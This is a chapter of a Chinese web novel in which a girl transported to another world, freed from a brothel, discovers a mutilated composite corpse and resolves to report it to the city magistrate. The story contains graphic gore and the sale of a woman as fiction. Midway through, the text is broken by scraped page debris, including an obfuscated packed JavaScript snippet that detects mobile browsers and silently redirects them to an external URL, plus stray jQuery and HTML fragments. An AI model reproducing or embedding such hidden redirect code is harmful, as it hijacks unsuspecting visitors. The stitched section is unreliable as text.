“就当噩梦,忘掉吧。”
一只大手从后伸出,捂住凌巳巳的眼睛。
来人身上有淡淡的凛冽酒气,声音参杂一丝安抚,有些熟悉。
瞬间失去视物能力的凌巳巳不断在脑海中重现自己最后一眼看到的场景:
滴着血水的黑狗头、剥开皮肉的上身、断裂的胸骨、对半劈开的人头、乱发中横流的脑髓……
要拼接出那具尸体,至少需要死两个人和一条狗!
脐带和胎盘,昭示着现场应该还有一个不知所终的婴儿!
将双手覆在男子手上,凌巳巳自己僵硬又缓慢地转过身去。
她完全止不住颤抖,仿佛自己已置身阴诡地狱,整个人不自觉地贴到男子胸膛上寻求一丝活人的温度。
玄衣男子本想直接带着受惊的少女离开,不想怀里的少女抬起一双通红的眼睛,落着泪颤声说道:
“大、大侠,你们这,死了人应该也要报官吧,这里,发生了惨案,必须、必须保护现场,我守在这里,你去报官。”
好奇打量少女片刻,玄衣男子有些意外地轻笑出声,举起自己的双手后退与她拉开距离,道:
“好姑娘,我还以为你很害怕,倒是冒昧了。”
凌巳巳如同惊弓之鸟,急忙跟上,再次缩进男子怀里,双手用力扯住他的衣服,有些生气道:
“我当然害怕!但是、但是,我想那个婴儿可能还活着……”
“嗯?”
少女的声音碎得厉害,后面的话几乎散在了唇齿中,玄衣男子低下头侧耳去听。
粗喘的呼吸声几次起伏,少女恢复镇定,声音平稳道:
“我说,如果能尽快找出凶手,那个刚出生的婴儿可能还活着!”
“钰哥!”
白脸胖子追赶而来,身旁跟着老鸨和一群打手,但双方貌似谈妥了,老鸨满脸的献媚:
“公子呀,您那五千两花得绝对值,那丫头若在我手中调教,不出三年必定能名震四海,当上天下第一花魁的,不瞒你说,若不是您出手阔绰,干娘我这回还真舍不得割爱呢~”
?
凌巳巳怀疑自己听错了:
“那老鸨母说多少两?”
玄衣男子好心回答她:
“五千两。”
“卧槽!”
“卧槽!”
胖子本想打趣状似亲密的两人几句,没成想还未走近就嗅到四周浓重的血腥味。
他灵活得像只大肥猫,疾步快跑,不做任何停留直接冲进屋子,很快就如同见了鬼一般,大叫着跑出来,硕大的肥躯缩成球,躲到玄衣男子身后。
“钰哥,肯定是轮回宗的人来了,你不帮我我可死定了!”
“我人就在这里站着,你还怕什么?!”玄衣男子夸张地咬牙切齿。
从凌巳巳的角度看,她看到了玄衣男子及其无语地撇了撇嘴角。
不过胖子手中来回挥舞的卖身契很快吸引住了她的目光。
她之前明明偷听到老鸨买她只花了十两银子,这一转手,竟把她卖了五千两!
老天奶,这特么是什么丧天尽天良的行业???
果真该禁止买卖!
玄衣男子接过胖子手上邀功的卖身契,随意瞥了一眼,便交给少女:
“美人,算我们有缘,这个就当见面礼吧,反正死胖子的钱多得花不完,积点阴德也是应该的。”
白脸胖子急得一个劲儿地挤眉弄眼:
“兄弟,我、我买……给你暖床的呀!”
说什么钱多得花不完,五千两他出的也肉疼啊!
玄衣男子微笑:“你不想死就闭嘴吧。”
“哦~”
胖子委屈垂下自己的胖脸,五根敦圆的手指在自己兄弟眼前抖晃。
“这个数……”
凌巳巳冷着脸,退到一旁:
“二位,这钱我会还的,但暖床的事打死本人都是不干的,洁身自好四个字,时刻刻在本人灵魂上。”
少女还不知道,自己将来会被现实打脸……
此时。
夜不寐楼的后院。
凌巳巳与老鸨就“是否报官”一事发生激烈争执。
“报官!”
“死个人罢了报什么官?报了官我夜不寐楼的生意还怎么做?你已经不是我夜不寐楼的人了,赶紧走!”
“报了官我自然会走!人命关天的事,你说的轻而易举,就想着做你的皮肉生意,就不怕明天惨死那个人变成你吗?!”
老鸨被凌巳巳气得火冒三丈,“别给你三分颜色你就想开染坊,这是老娘的地盘,老娘做主!”
“普天之下,莫非王土,妓院也一样!”
“好厉害的小姑娘,嘴皮子真利索。”
“奇女子。”
玄衣男子与白脸胖子凑在一处嗑瓜子,夜不寐楼的壮汉另凑一处,双方不约而同地看着凌巳巳与老鸨争执,面色沧桑中带着稀奇。
“她这话,那冷面煞神铁定爱听。”
“欸,你还真别说,我突然有个馊主意~”
玄衣男子嗑瓜子的手停顿住,望着那气呼呼的少女,眉眼含笑,目光熠熠。
不远处,嘴仗惨败的老鸨冷笑:
“呵呵呵!黄毛丫头,你可别逼老娘杀人灭口!”
“……”
凌巳巳从滔天愤怒中清醒过来。
那老鸨眼中狰狞的杀意历历在目。
她真傻。
怎么忘了。
这根本不是自己原来的世界,做皮肉生意的人,又怎么会和她讲道理。
少女迷茫了,看向不远处的玄衣男子及白脸胖子。
这两人一直没走。
难道……老鸨不直接动手灭口,选择与自己动嘴的原因是他们?
“二位,也觉得不用报官吗?”凌巳巳声音涩然。
白脸胖子理所应当道:
“说实在的,妹子,我们江湖中人,什么黑的白的没见过,都是生死由命,富贵在天,死得再惨都没人报过官,报官……说出去都得被江湖同道耻笑。”
“那死掉的人谁来洗冤?杀人凶手谁去拿?可能还活着人又谁去救?”
凌巳巳一连问了三个问题,答案显而易见。
但答案对一个懵懂少女来说,太过残忍了。
这一刻白脸胖子罕见沉默,用一种大人看犯错孩子的目光看着她,包容又无奈。
玄衣男子不说话,只一个劲地嗑瓜子。
而夜不寐楼的人皆是目露轻蔑:
“你自己都刚出火坑,还管得着别人呐?”
凌巳巳怒瞪老鸨。
“今日就算死的真是你这让我进火坑的老鸨子,我也会第一时间想报官呐!”
谁一下子从文明世界掉到草芥人命的异世就立马能适应啊!
老鸨错愕片刻,捂嘴讽笑:
“呵~你这疯丫头,说你没胆子吧,你敢与干娘我玉石俱焚;说你有胆子吧,死个人你就要报官,你可真矛盾。”
“并不矛盾,与你,我是保全自身;报官,我是不想再多死人,只是我太想当然了……”
凌巳巳沉默下来。
玄衣男子在她面前打了个响指:
“时候不早了,走么?”
闷闷喷出一口郁气,凌巳巳有气无力地点头,“嗯,走。”
眼看凌巳巳跟在玄衣男子身后离开。
那帮夜不寐楼的龟儿子打手抖着胸肌,还想再说些什么。
白脸胖子忙阻拦善后:
“欸欸欸,老鸨,银货两讫,你们开门做生意的,得讲诚信!”
老鸨包着纱布的脸媚媚一笑,扭腰甩手绢:
“恭送二位爷~今后常来呀~~~”
外头天都亮了。
骄阳似火。
凌巳巳却感觉不到丝毫暖意。
她强打精神,抬眼对上玄衣男子的目光:
“小女子凌巳巳,请问二位姓名?”
“我还以为你就叫疯丫头呢~”
白脸胖子挤开同伴,开心道:
“巳巳妹子,你叫我赛雷哥哥就好,至于我兄弟他——”
“滚!”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592773|171905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
玄衣男子一脚把胖子踢开,让自己占据凌巳巳所有的视线,笑容满面:“我叫癸钰,你也可以叫我一声癸钰哥哥。”
凌巳巳:“啊?”
这一个两个的,多少有点油腻了,她哪里叫得出口!
少女那副苦巴巴的神情逗乐了男子:
“噗嗤~开玩笑的,叫我癸钰就行了。”
受癸钰的笑容感染,凌巳巳也不自觉轻松起来,露出来到这世界后的第一个真心实意的笑脸:
“癸钰,找个地方,我给你们写欠条,五千两,我会还的!”
“这真不必,五千两对死胖子来说不算钱,对你一个被卖入夜不寐的女子来说,却是笔天大的数目,你若想两清,不如帮我个忙?”
感觉男子眼中带有一丝狭促,凌巳巳不免疑惑:“什么忙?”
“我看你年纪轻轻,骂人不带脏字,逼得老鸨口不择言,连杀人灭口的话都不过脑子地说出来了,气人功夫着实不错,所以我想让你帮我骂个大贪官。”
癸钰把骂人说得像给人问好一样随意,还十分贴心道:
“不用当面骂,写信就好。”
凌巳巳:“……”
这个忙,真缺德!
她能干!
“好!”少女对着男子重重点头。
阳光的暖意在两人目光中流转。
赛雷一张白胖大脸挤进来,左右张望,
“小钰,你不会……想骂那个家伙吧?”
“是又怎么样?”
“带我一个、带我一个,带我赛雷大爷的署名!”
得到癸钰肯定的回答,赛雷眼中跃跃欲试的火苗几乎要跳出他的眼眶!
两人的反应让凌巳巳误以为这是什么大好事,指不准还能史书留名,于是欢快举手——
“是我骂的,我也要署名~!”
啪、啪、啪
“好姑娘,你果真有胆色。”
癸钰给凌巳巳作死的行为鼓掌,“那就如你所愿!”
事不宜迟。
三人来到酒肆,点上酒菜,同掌柜借来纸笔,开骂!
托癸钰的福,凌巳巳脚下多了双如意祥云纹的鹿皮短靴,心里又欠一笔。
问清楚他们要骂的家伙是个人模人样却心狠手辣加阴险狡诈的大贪官后,凌巳巳越发坚定了自己要史书留名的决心。
俊?贪?大官?史书留名的可能性大大up!
“我熟知各种国粹,骂个大贪官轻而易举!”
她没注意到癸钰和赛雷两人逐渐古怪的神情,洋洋洒洒写下数张问候某人的话语。
她自小熟读古代医籍,也习过书法,从那张卖身契上看,这世界用的是篆体,难不倒她!
赛雷捏着一张写满小篆的信纸,呆呆问:
“妹子,虽然我们感觉你写得很流弊,但是这些一叶障、二极管、三体婴……九漏鱼,是什么意思,和骂人沾边么?都九九归一了,怎么像夸他呢?”
“呃……”
少女尴尬递上笔,敷衍道:“这是超世界高级骂法,杀伤力十足的。”
“那么,我们就此两清了,好姑娘。”
癸钰也抱着凌巳巳写好的其中一张信纸,研究上面写得天花乱坠却难解其意的字。
他眉头紧锁着,抬起脸,在凌巳巳期待的目光中放她自由。
“最后提醒你一句,忘掉那件事,永远别回夜不寐。”
“……多谢,多谢二位。”
凌巳巳眼含热泪,短短半日的惊心动魄,她已然精疲力竭。
她心知若不是自己足够幸运,遇到眼前两人,等待她的就是人间炼狱。
如今她自由了。
她永远不会忘记癸钰及赛雷的帮助。。
同样。
她也忘不了那条绊倒她的脐带,更忘不了夜不寐楼那具拼接的尸体!
“死者需要公道,无辜婴孩需要解救,罪恶不能留在群众之中,凶手必须落网。”
面色苍白的少女呢喃着,缓缓抬起头,望向那块泛着金光的匾额:
“鲸海城衙……”